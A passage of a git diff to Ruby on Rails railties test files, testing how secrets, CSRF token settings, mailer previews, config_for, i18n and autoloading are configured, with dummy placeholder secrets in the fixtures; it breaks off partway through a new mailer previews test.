+      require "#{app_path}/config/environment"
+
+
+      assert_equal app.env_config['action_dispatch.key_generator'], Rails.application.key_generator
+      assert_equal app.env_config['action_dispatch.key_generator'].class, ActiveSupport::LegacyKeyGenerator
+      message = app.message_verifier(:sensitive_value).generate("some_value")
+      assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+    end
+
+    test "warns when secrets.secret_key_base is blank and config.secret_token is set" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_deprecated(/You didn't set `secret_key_base`./) do
+        app.env_config
+      end
+    end
+
+    test "prefer secrets.secret_token over config.secret_token" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = ""
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_token: 3b7cd727ee24e8444053437c36cc66c3
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_token
+    end
+
+    test "application verifier can build different verifiers" do
+      make_basic_app do |application|
+        application.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        application.config.session_store :disabled
+      end
+
+      default_verifier = app.message_verifier(:sensitive_value)
+      text_verifier = app.message_verifier(:text)
+
+      message = text_verifier.generate('some_value')
+
+      assert_equal 'some_value', text_verifier.verify(message)
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        default_verifier.verify(message)
+      end
+
+      assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+      assert_not_equal default_verifier.object_id, text_verifier.object_id
+    end
+
+    test "secrets.secret_key_base is used when config/secrets.yml is present" do
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+      YAML
+
+      require "#{app_path}/config/environment"
+      assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+    end
+
+    test "secret_key_base is copied from config to secrets when not set" do
+      remove_file "config/secrets.yml"
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+    end
+
+    test "config.secret_token over-writes a blank secrets.secret_token" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+          secret_token:
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.secrets.secret_token
+      assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token
+    end
+
+    test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+          aws_access_key_id: myamazonaccesskeyid
+          aws_secret_access_key: myamazonsecretaccesskey
+      YAML
+
+      require "#{app_path}/config/environment"
+      assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id
+      assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key
+    end
+
+    test "blank config/secrets.yml does not crash the loading process" do
+      app_file 'config/secrets.yml', <<-YAML
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_nil app.secrets.not_defined
+    end
+
+    test "config.secret_key_base over-writes a blank secrets.secret_key_base" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_key_base = "iaminallyoursecretkeybase"
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_equal "iaminallyoursecretkeybase", app.secrets.secret_key_base
+    end
+
+    test "uses ActiveSupport::LegacyKeyGenerator as app.key_generator when secrets.secret_key_base is blank" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token
+      assert_equal nil, app.secrets.secret_key_base
+      assert_equal app.key_generator.class, ActiveSupport::LegacyKeyGenerator
+    end
+
+    test "uses ActiveSupport::LegacyKeyGenerator with config.secret_token as app.key_generator when secrets.secret_key_base is blank" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = ""
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+      YAML
+      require "#{app_path}/config/environment"
+
+      assert_equal '', app.config.secret_token
+      assert_equal nil, app.secrets.secret_key_base
+      assert_raise ArgumentError, /\AA secret is required/ do
+        app.key_generator
+      end
+    end
+
     test "protect from forgery is the default in a new app" do
       make_basic_app
 
@@ -281,15 +534,56 @@ module ApplicationTests
       assert last_response.body =~ /csrf\-param/
     end
 
+    test "default form builder specified as a string" do
+
+      app_file 'config/initializers/form_builder.rb', <<-RUBY
+      class CustomFormBuilder < ActionView::Helpers::FormBuilder
+        def text_field(attribute, *args)
+          label(attribute) + super(attribute, *args)
+        end
+      end
+      Rails.configuration.action_view.default_form_builder = "CustomFormBuilder"
+      RUBY
+
+      app_file 'app/models/post.rb', <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
+
+
+      app_file 'app/controllers/posts_controller.rb', <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_for(Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/posts"
+      assert_match(/label/, last_response.body)
+    end
+
     test "default method for update can be changed" do
       app_file 'app/models/post.rb', <<-RUBY
       class Post
-        extend ActiveModel::Naming
+        include ActiveModel::Model
         def to_key; [1]; end
         def persisted?; true; end
       end
       RUBY
 
+      token = "cf50faa3fe97702ca1ae"
+
       app_file 'app/controllers/posts_controller.rb', <<-RUBY
       class PostsController < ApplicationController
         def show
@@ -299,6 +593,10 @@ module ApplicationTests
         def update
           render text: "update"
         end
+
+        private
+
+        def form_authenticity_token; token; end # stub the authenticy token
       end
       RUBY
 
@@ -310,8 +608,6 @@ module ApplicationTests
 
       require "#{app_path}/config/environment"
 
-      token = "cf50faa3fe97702ca1ae"
-      PostsController.any_instance.stubs(:form_authenticity_token).returns(token)
       params = {authenticity_token: token}
 
       get "/posts/1"
@@ -331,8 +627,8 @@ module ApplicationTests
     end
 
     test "request forgery token param can be changed" do
-      make_basic_app do
-        app.config.action_controller.request_forgery_protection_token = '_xsrf_token_here'
+      make_basic_app do |application|
+        application.config.action_controller.request_forgery_protection_token = '_xsrf_token_here'
       end
 
       class ::OmgController < ActionController::Base
@@ -342,7 +638,7 @@ module ApplicationTests
       end
 
       get "/"
-      assert last_response.body =~ /_xsrf_token_here/
+      assert_match "_xsrf_token_here", last_response.body
     end
 
     test "sets ActionDispatch.test_app" do
@@ -351,8 +647,8 @@ module ApplicationTests
     end
 
     test "sets ActionDispatch::Response.default_charset" do
-      make_basic_app do |app|
-        app.config.action_dispatch.default_charset = "utf-16"
+      make_basic_app do |application|
+        application.config.action_dispatch.default_charset = "utf-16"
       end
 
       assert_equal "utf-16", ActionDispatch::Response.default_charset
@@ -384,6 +680,32 @@ module ApplicationTests
       assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
     end
 
+    test "registers preview interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.preview_interceptors = MyPreviewMailInterceptor
+      RUBY
+
+      require "#{app_path}/config/environment"
+      require "mail"
+
+      _ = ActionMailer::Base
+
+      assert_equal [::MyPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+    end
+
+    test "registers multiple preview interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.preview_interceptors = [MyPreviewMailInterceptor, "MyOtherPreviewMailInterceptor"]
+      RUBY
+
+      require "#{app_path}/config/environment"
+      require "mail"
+
+      _ = ActionMailer::Base
+
+      assert_equal [MyPreviewMailInterceptor, MyOtherPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+    end
+
     test "registers observers with ActionMailer" do
       add_to_config <<-RUBY
         config.action_mailer.observers = MyMailObserver
@@ -413,7 +735,7 @@ module ApplicationTests
     test "valid timezone is setup correctly" do
       add_to_config <<-RUBY
         config.root = "#{app_path}"
-          config.time_zone = "Wellington"
+        config.time_zone = "Wellington"
       RUBY
 
       require "#{app_path}/config/environment"
@@ -424,7 +746,7 @@ module ApplicationTests
     test "raises when an invalid timezone is defined in the config" do
       add_to_config <<-RUBY
         config.root = "#{app_path}"
-          config.time_zone = "That big hill over yonder hill"
+        config.time_zone = "That big hill over yonder hill"
       RUBY
 
       assert_raise(ArgumentError) do
@@ -435,7 +757,7 @@ module ApplicationTests
     test "valid beginning of week is setup correctly" do
       add_to_config <<-RUBY
         config.root = "#{app_path}"
-          config.beginning_of_week = :wednesday
+        config.beginning_of_week = :wednesday
       RUBY
 
       require "#{app_path}/config/environment"
@@ -446,7 +768,7 @@ module ApplicationTests
     test "raises when an invalid beginning of week is defined in the config" do
       add_to_config <<-RUBY
         config.root = "#{app_path}"
-          config.beginning_of_week = :invalid
+        config.beginning_of_week = :invalid
       RUBY
 
       assert_raise(ArgumentError) do
@@ -459,7 +781,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert ActionView::Resolver.caching?
+      assert_equal true, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading without cache_classes default" do
@@ -467,7 +789,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert !ActionView::Resolver.caching?
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading = false" do
@@ -478,7 +800,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert !ActionView::Resolver.caching?
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_view.cache_template_loading = true" do
@@ -489,12 +811,26 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       require 'action_view/base'
 
-      assert ActionView::Resolver.caching?
+      assert_equal true, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading with cache_classes in an environment" do
+      build_app(initializers: true)
+      add_to_env_config "development", "config.cache_classes = false"
+
+      # These requires are to emulate an engine loading Action View before the application
+      require 'action_view'
+      require 'action_view/railtie'
+      require 'action_view/base'
+
+      require "#{app_path}/config/environment"
+
+      assert_equal false, ActionView::Resolver.caching?
     end
 
     test "config.action_dispatch.show_exceptions is sent in env" do
-      make_basic_app do |app|
-        app.config.action_dispatch.show_exceptions = true
+      make_basic_app do |application|
+        application.config.action_dispatch.show_exceptions = true
       end
 
       class ::OmgController < ActionController::Base
@@ -592,6 +928,44 @@ module ApplicationTests
       assert_match "We're sorry, but something went wrong", last_response.body
     end
 
+    test "config.action_controller.always_permitted_parameters are: controller, action by default" do
+      require "#{app_path}/config/environment"
+      assert_equal %w(controller action), ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters = ['controller', 'action', 'format']" do
+      add_to_config <<-RUBY
+        config.action_controller.always_permitted_parameters = %w( controller action format )
+      RUBY
+      require "#{app_path}/config/environment"
+      assert_equal %w( controller action format ), ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters = ['controller','action','format'] does not raise exeception" do
+      app_file 'app/controllers/posts_controller.rb', <<-RUBY
+      class PostsController < ActionController::Base
+        def create
+          render text: params.permit(post: [:title])
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.always_permitted_parameters = %w( controller action format )
+        config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+      post "/posts", {post: {"title" =>"zomg"}, format: "json"}
+      assert_equal 200, last_response.status
+    end
+
     test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do
       ENV["RAILS_ENV"] = "development"
 
@@ -617,8 +991,8 @@ module ApplicationTests
     end
 
     test "config.action_dispatch.ignore_accept_header" do
-      make_basic_app do |app|
-        app.config.action_dispatch.ignore_accept_header = true
+      make_basic_app do |application|
+        application.config.action_dispatch.ignore_accept_header = true
       end
 
       class ::OmgController < ActionController::Base
@@ -655,9 +1029,9 @@ module ApplicationTests
 
     test "config.session_store with :active_record_store with activerecord-session_store gem" do
       begin
-        make_basic_app do |app|
+        make_basic_app do |application|
           ActionDispatch::Session::ActiveRecordStore = Class.new(ActionDispatch::Session::CookieStore)
-          app.config.session_store :active_record_store
+          application.config.session_store :active_record_store
         end
       ensure
         ActionDispatch::Session.send :remove_const, :ActiveRecordStore
@@ -666,16 +1040,16 @@ module ApplicationTests
 
     test "config.session_store with :active_record_store without activerecord-session_store gem" do
       assert_raise RuntimeError, /activerecord-session_store/ do
-        make_basic_app do |app|
-          app.config.session_store :active_record_store
+        make_basic_app do |application|
+          application.config.session_store :active_record_store
         end
       end
     end
 
     test "config.log_level with custom logger" do
-      make_basic_app do |app|
-        app.config.logger = Logger.new(STDOUT)
-        app.config.log_level = :info
+      make_basic_app do |application|
+        application.config.logger = Logger.new(STDOUT)
+        application.config.log_level = :info
       end
       assert_equal Logger::INFO, Rails.logger.level
     end
@@ -686,5 +1060,239 @@ module ApplicationTests
       assert_not Rails.configuration.respond_to?(:method_missing)
       assert Rails.configuration.respond_to?(:method_missing, true)
     end
+
+    test "config.active_record.dump_schema_after_migration is false on production" do
+      build_app
+      ENV["RAILS_ENV"] = "production"
+
+      require "#{app_path}/config/environment"
+
+      assert_not ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "config.active_record.dump_schema_after_migration is true by default on development" do
+      ENV["RAILS_ENV"] = "development"
+
+      require "#{app_path}/config/environment"
+
+      assert ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "config.annotations wrapping SourceAnnotationExtractor::Annotation class" do
+      make_basic_app do |application|
+        application.config.annotations.register_extensions("coffee") do |tag|
+          /#\s*(#{tag}):?\s*(.*)$/
+        end
+      end
+
+      assert_not_nil SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+    end
+
+    test "rake_tasks block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          rake_tasks do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_not Rails.configuration.ran_block
+
+      require 'rake'
+      require 'rake/testtask'
+      require 'rdoc/task'
+
+      Rails.application.load_tasks
+      assert Rails.configuration.ran_block
+    end
+
+    test "generators block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          generators do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_generators
+      assert Rails.configuration.ran_block
+    end
+
+    test "console block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          console do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_console
+      assert Rails.configuration.ran_block
+    end
+
+    test "runner block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          runner do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_runner
+      assert Rails.configuration.ran_block
+    end
+
+    test "loading the first existing database configuration available" do
+      app_file 'config/environments/development.rb', <<-RUBY
+
+      Rails.application.configure do
+        config.paths.add 'config/database', with: 'config/nonexistent.yml'
+        config.paths['config/database'] << 'config/database.yml'
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert_kind_of Hash, Rails.application.config.database_configuration
+    end
+
+    test 'raises with proper error message if no database configuration found' do
+      FileUtils.rm("#{app_path}/config/database.yml")
+      require "#{app_path}/config/environment"
+      err = assert_raises RuntimeError do
+        Rails.application.config.database_configuration
+      end
+      assert_match 'config/database', err.message
+    end
+
+    test 'config.action_mailer.show_previews defaults to true in development' do
+      Rails.env = "development"
+      require "#{app_path}/config/environment"
+
+      assert Rails.application.config.action_mailer.show_previews
+    end
+
+    test 'config.action_mailer.show_previews defaults to false in production' do
+      Rails.env = "production"
+      require "#{app_path}/config/environment"
+
+      assert_equal false, Rails.application.config.action_mailer.show_previews
+    end
+
+    test 'config.action_mailer.show_previews can be set in the configuration file' do
+      Rails.env = "production"
+      add_to_config <<-RUBY
+        config.action_mailer.show_previews = true
+      RUBY
+      require "#{app_path}/config/environment"
+
+      assert_equal true, Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config_for loads custom configuration from yaml files" do
+      app_file 'config/custom.yml', <<-RUBY
+      development:
+        key: 'custom key'
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      assert_equal 'custom key', Rails.application.config.my_custom_config['key']
+    end
+
+    test "config_for raises an exception if the file does not exist" do
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      exception = assert_raises(RuntimeError) do
+        require "#{app_path}/config/environment"
+      end
+
+      assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message
+    end
+
+    test "config_for without the environment configured returns an empty hash" do
+      app_file 'config/custom.yml', <<-RUBY
+      test:
+        key: 'custom key'
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+      require "#{app_path}/config/environment"
+
+      assert_equal({}, Rails.application.config.my_custom_config)
+    end
+
+    test "config_for with empty file returns an empty hash" do
+      app_file 'config/custom.yml', <<-RUBY
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+      require "#{app_path}/config/environment"
+
+      assert_equal({}, Rails.application.config.my_custom_config)
+    end
+
+    test "config_for containing ERB tags should evaluate" do
+      app_file 'config/custom.yml', <<-RUBY
+      development:
+        key: <%= 'custom key' %>
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+      require "#{app_path}/config/environment"
+
+      assert_equal 'custom key', Rails.application.config.my_custom_config['key']
+    end
+
+    test "config_for with syntax error show a more descritive exception" do
+      app_file 'config/custom.yml', <<-RUBY
+      development:
+        key: foo:
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      exception = assert_raises(RuntimeError) do
+        require "#{app_path}/config/environment"
+      end
+
+      assert_match 'YAML syntax error occurred while parsing', exception.message
+    end
   end
 end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 83104acf3c..97b51911d9 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -35,8 +35,8 @@ module ApplicationTests
       require "#{app_path}/config/environment"
 
       expanded_path = File.expand_path("app/views", app_path)
-      assert_equal ActionController::Base.view_paths[0].to_s, expanded_path
-      assert_equal ActionMailer::Base.view_paths[0].to_s, expanded_path
+      assert_equal expanded_path, ActionController::Base.view_paths[0].to_s
+      assert_equal expanded_path, ActionMailer::Base.view_paths[0].to_s
     end
 
     test "allows me to configure default url options for ActionMailer" do
@@ -50,7 +50,7 @@ module ApplicationTests
       assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
     end
 
-    test "does not include url helpers as action methods" do
+    test "includes url helpers as action methods" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
@@ -65,9 +65,8 @@ module ApplicationTests
       RUBY
 
       require "#{app_path}/config/environment"
-      assert Foo.method_defined?(:foo_path)
+      assert Foo.method_defined?(:foo_url)
       assert Foo.method_defined?(:main_app)
-      assert_equal Set.new(["notify"]), Foo.action_methods
     end
 
     test "allows to not load all helpers for controllers" do
@@ -217,7 +216,7 @@ module ApplicationTests
         orig_database_url = ENV.delete("DATABASE_URL")
         orig_rails_env, Rails.env = Rails.env, 'development'
         database_url_db_name = "db/database_url_db.sqlite3"
-        ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+        ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
         ActiveRecord::Base.establish_connection
         assert ActiveRecord::Base.connection
         assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 97df073ec7..9ee54796a4 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -183,5 +183,34 @@ en:
       load_app
       assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
     end
+
+    test "disable config.i18n.enforce_available_locales" do
+      add_to_config <<-RUBY
+        config.i18n.enforce_available_locales = false
+        config.i18n.default_locale = :fr
+      RUBY
+
+      load_app
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
+
+    test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+      I18n.enforce_available_locales = false
+
+      add_to_config <<-RUBY
+        config.i18n.default_locale = :fr
+      RUBY
+
+      load_app
+      assert_equal false, I18n.enforce_available_locales
+
+      assert_nothing_raised do
+        I18n.locale = :es
+      end
+    end
   end
 end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index b36628ee37..cd05956356 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -71,6 +71,20 @@ module ApplicationTests
       assert Zoo
     end
 
+    test "eager loading accepts Pathnames" do
+      app_file "lib/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.eager_load_paths << Pathname.new("#{app_path}/lib")
+      RUBY
+
+      require "#{app_path}/config/environment"
+      assert Foo
+    end
+
     test "load environment with global" do
       $initialize_test_set_from_env = nil
       app_file "config/environments/development.rb", <<-RUBY
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index baae6fd928..95655b74cf 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -39,5 +39,18 @@ module ApplicationTests
       assert_equal 1, logger.logged(:debug).size
       assert_match(/SHOW tables/, logger.logged(:debug).last)
     end
+
+    test 'rails load_config_initializer event is instrumented' do
+      app_file 'config/initializers/foo.rb', ''
+
+      events = []
+      callback = ->(*_) { events << _ }
+      ActiveSupport::Notifications.subscribed(callback, 'load_config_initializer.railties') do
+        app
+      end
+
+      assert_equal %w[load_config_initializer.railties], events.map(&:first)
+      assert_includes events.first.last[:initializer], 'config/initializers/foo.rb'
+    end
   end
 end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index 4f30f30f95..85066210f3 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -33,6 +33,35 @@ class LoadingTest < ActiveSupport::TestCase
     assert_equal 'omg', p.title
   end
 
+  test "concerns in app are autoloaded" do
+    app_file "app/controllers/concerns/trackable.rb", <<-CONCERN
+      module Trackable
+      end
+    CONCERN
+
+    app_file "app/mailers/concerns/email_loggable.rb", <<-CONCERN
+      module EmailLoggable
+      end
+    CONCERN
+
+    app_file "app/models/concerns/orderable.rb", <<-CONCERN
+      module Orderable
+      end
+    CONCERN
+
+    app_file "app/validators/concerns/matchable.rb", <<-CONCERN
+      module Matchable
+      end
+    CONCERN
+
+    require "#{rails_root}/config/environment"
+
+    assert_nothing_raised(NameError) { Trackable }
+    assert_nothing_raised(NameError) { EmailLoggable }
+    assert_nothing_raised(NameError) { Orderable }
+    assert_nothing_raised(NameError) { Matchable }
+  end
+
   test "models without table do not panic on scope definitions when loaded" do
     app_file "app/models/user.rb", <<-MODEL
       class User < ActiveRecord::Base
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000000..1752a9f3c6
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,453 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+module ApplicationTests
+  class MailerPreviewsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      boot_rails
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "/rails/mailers is accessible in development" do
+      app("development")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/mailers is not accessible in production" do
+      app("production")
+      get "/rails/mailers"
+      assert_equal 404, last_response.status
+    end
+
+    test "/rails/mailers is accessible with correct configuraiton" do
+      add_to_config "config.action_mailer.show_previews = true"
+      app("production")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "/rails/mailers is not accessible with show_previews = false" do
+      add_to_config "config.action_mailer.show_previews = false"
+      app("development")
+      get "/rails/mailers"
+      assert_equal 404, last_response.status
+    end
+
+    test "/rails/mailers is accessible with globbing route present" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '*foo', to: 'foo#index'
+        end
+      RUBY
+      app("development")
+      get "/rails/mailers"
+      assert_equal 200, last_response.status
+    end
+
+    test "mailer previews are loaded from the default preview_path" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are loaded from a custom preview_path" do
+      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+    end
+
+    test "mailer previews are reloaded across requests" do
+      app('development')
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+      remove_file 'test/mailers/previews/notifier_preview.rb'
+      sleep(1)
+
+      get "/rails/mailers"
+      assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+    end
+
+    test "mailer preview actions are added and removed" do
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      text_template 'notifier/foo', <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview 'notifier', <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app('development')
+
+      get "/rails/mailers"
+      assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+      mailer 'notifier', <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+
+          def bar
